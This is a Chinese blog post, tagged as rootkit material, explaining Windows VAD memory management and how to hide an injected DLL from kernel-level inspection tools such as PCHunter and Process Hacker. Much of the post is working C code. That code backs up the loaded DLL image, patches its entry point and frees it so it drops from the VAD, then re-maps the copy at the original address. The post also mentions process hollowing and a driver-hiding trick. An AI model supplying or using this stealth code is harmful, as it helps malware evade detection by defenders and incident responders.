• [Rootkit] dll 隐藏 VAD


    3环下要想隐藏dll,仅仅靠断链和抹去PE头信息是不够的;这样做能骗过同样在3环运行的调试器,但是骗不过在0环通过驱动做检测的PChunter、Process Hacker等工具;要想彻底隐藏,需要更进一步搞定驱动层的各种检测,下面会详细介绍隐藏的细节原理和操作方法!

    1、VAD 虚拟内存管理

    内存分两种:物理内存和虚拟内存;操作系统和进程共享物理内存,进程独享虚拟内存;物理内存可以通过CR3在进程之间互相隔离,确保进程之间互不侵犯;那么进程内部的虚拟地址该怎么管理了? 32位下,每个进程独享4GB内存,怎么知道哪些内存已经使用过,哪些没用过? 已经使用的内存,是可读可写可执行的么? 还是只读的了? 该怎么记录这些关键信息了?windwos采用一种叫做virtual address descripot的自平衡二叉树来管理虚拟内存,低端的内存地址放在根节点左子树,高端内存地址放根节点右子树,大致的结构如下:每当进程调用virtualAlloc分配虚拟内存时,操作系统会先遍历这个树,看看还有哪些地方的虚拟内存还未使用,然后返回给开发人员:

    在这里插入图片描述

    windbg能查到每个进程VAD的root节点:

    在这里插入图片描述

    VAD里面也记录了该进程dll的使用情况。

    在这里插入图片描述

    当内存使用完毕,建议立即调用VirtualFree,将这段虚拟内存从VAD从抹去,后续再次遍历时才能继续使用!正常情况下,如果要卸载dll,可以调用windwos提供的freeLibrary接口,里面有关键的函数:ZwUnmapViewOfSection,可以直接把dll对应的内存从VAD中删除(这里多说两句:ZwUnmapViewOfSection 功能很强大,可以替换进程的代码,让其称为傀儡执行恶意的代码)。

    2、之前分享过一个驱动隐藏的思路(https://www.cnblogs.com/theseventhson/p/13170445.html): 让driver entry返回false,操作系统会认为驱动加载失败,不会记录。但在driverentry里面把自己想要执行的代码拷贝到堆上,然后将代码入口点作为imageLoad回调函数的入口点。虽然驱动加载“失败”,但代码已经拷贝到堆,并且注册成为了回调函数,dll隐藏也可以借鉴类似的思路:

    • 先重新申请一个新空间,把需要隐藏的dll拷贝到新空间备份
    • 用freelibrary释放需要隐藏的dll,VAD中会删除这个dll的。此时如果eip跳转到dll执行,肯定报错
    • 重新用virtualAlloc申请原dll地址,再把第一步备份的原dll代码拷贝到这次申请的地址(其实就是dll原来加载的地址)
    • 此时如果eip跳转到这个地址执行代码是ok的

    这么做的本质是:把dll从vad的记录中抹去,重新申请内存来存放dll的代码。虽说在vad还是有内存的使用记录,但因为并未使用loadlibrary,所以也不会在vad中留下dll的记录(这是本质是把dll变相当成shellcode在用,至于全局变量、导入函数、重定位这些,由编译器和操作系统都做好了,不需要开发人员操心);核心代码如下:

    /************************************************************************/
    /* 把当前进程的所有DLL(除开需要隐藏的那个)都使用LoadLibrary再次加载一边,增加引用计数,                */
    /* 使得Free时对应的DLL资源不释放                                            */
    /************************************************************************/
    
    void LockAllModules()
    {
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
    
        if (hSnapshot != INVALID_HANDLE_VALUE)
        {
            MODULEENTRY32 me = { sizeof(me) };
    
            BOOL fOk = Module32First(hSnapshot, &me);
            for (fOk = Module32Next(hSnapshot, &me); fOk; fOk = Module32Next(hSnapshot, &me))
            {
                //跳过第一个(自身)  
                CString wInfo;
                wInfo.Format(_T("%s"), me.szModule);
                wInfo.MakeLower();
                if (wInfo != _T("dlls.dll"))LoadLibrary(me.szModule);//加载除了dlls.dll以外的所有内存
            }
        }
    }
    
    BOOL CopycatAndHide(HMODULE hDll)
    {
        // 整体思路:先把DLL加载到当前进程,然后将该加载的DLL再备份到当前进程空间;  
        // 接下来该DLL再Free了,此时进程再访问该DLL的话会出错;  
        // Free后,再把预先备份的DLL数据还原,而且还原的数据地址是原先DLL加载的地址  
        // 如此,进程内再调用该DLL的话,由于数据完整,一切OK  
    
        DWORD g_dwImageSize = 0;
        VOID* g_lpNewImage = NULL;
    
        IMAGE_DOS_HEADER* pDosHeader;
        IMAGE_NT_HEADERS* pNtHeader;
        IMAGE_OPTIONAL_HEADER* pOptionalHeader;
        LPVOID lpBackMem = 0;
        DWORD dwOldProtect;
        DWORD dwCount = 30;
    
    
        pDosHeader = (IMAGE_DOS_HEADER*)hDll;
        pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)hDll);
        pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)&pNtHeader->OptionalHeader;
    
        LockAllModules();
    
        // 找一块内存把需要隐藏而且已经加载到内存的DLL备份  
        // SizeOfImage,4个字节,表示程序调入后占用内存大小(字节),等于所有段的长度之和。  
        lpBackMem = VirtualAlloc(0, pOptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!lpBackMem)
            return FALSE;
        if (!VirtualProtect((LPVOID)hDll, pOptionalHeader->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect))
            return FALSE;
    
        g_dwImageSize = pOptionalHeader->SizeOfImage;
        memcpy(lpBackMem, (LPVOID)hDll, g_dwImageSize);
        // 抹掉PE头  
        //memset(lpBackMem, 0, 0x200);
        *((PBYTE)hDll + pOptionalHeader->AddressOfEntryPoint) = (BYTE)0xc3;
    
        //  DWORD dwRet =0;  
        // Free掉DLL  
        do
        {
            dwCount--;
        } while (FreeLibrary(hDll) && dwCount);
    
        // 把备份的DLL数据还原回来,使得预先引用该DLL的程序能够继续正常运行  
        g_lpNewImage = VirtualAlloc((LPVOID)hDll, g_dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (g_lpNewImage != (LPVOID)hDll)
            return FALSE;
    
        memcpy(g_lpNewImage, lpBackMem, g_dwImageSize);
        VirtualFree(lpBackMem, 0, MEM_RELEASE);
    
        return TRUE;
    }
    

    参考:

    1、https://wenku.baidu.com/view/439526b369dc5022aaea0077 内存管理

    2、https://bbs.pediy.com/thread-257179.htm VC黑防日记(二):DLL隐藏和逆向

    3、https://blog.csdn.net/arbboter/article/details/38260973 DLL隐藏技术

    4、https://bbs.pediy.com/thread-153508.htm 进程替换

  • 相关阅读:
    linux php安装ODBC扩展
    linux wget变成000权限
    linux tomcat启动报错:Neither the JAVA_HOME nor the JRE_HOME environment variable is defined
    字符串的操作, 日期格式, 数据转换, 模糊查询
    Oracle控制结构
    创建角色,用户,视图,索引,分析计划
    Oracle用触发器解决修改主表A主键值,从表的外键值也会跟着改变的问题
    行为科学统计第17章--回归
    行为科学统计第13-15章
    行为科学统计第12章
  • 原文地址:https://www.cnblogs.com/csnd/p/15613314.html
Copyright © 2020-2023  润新知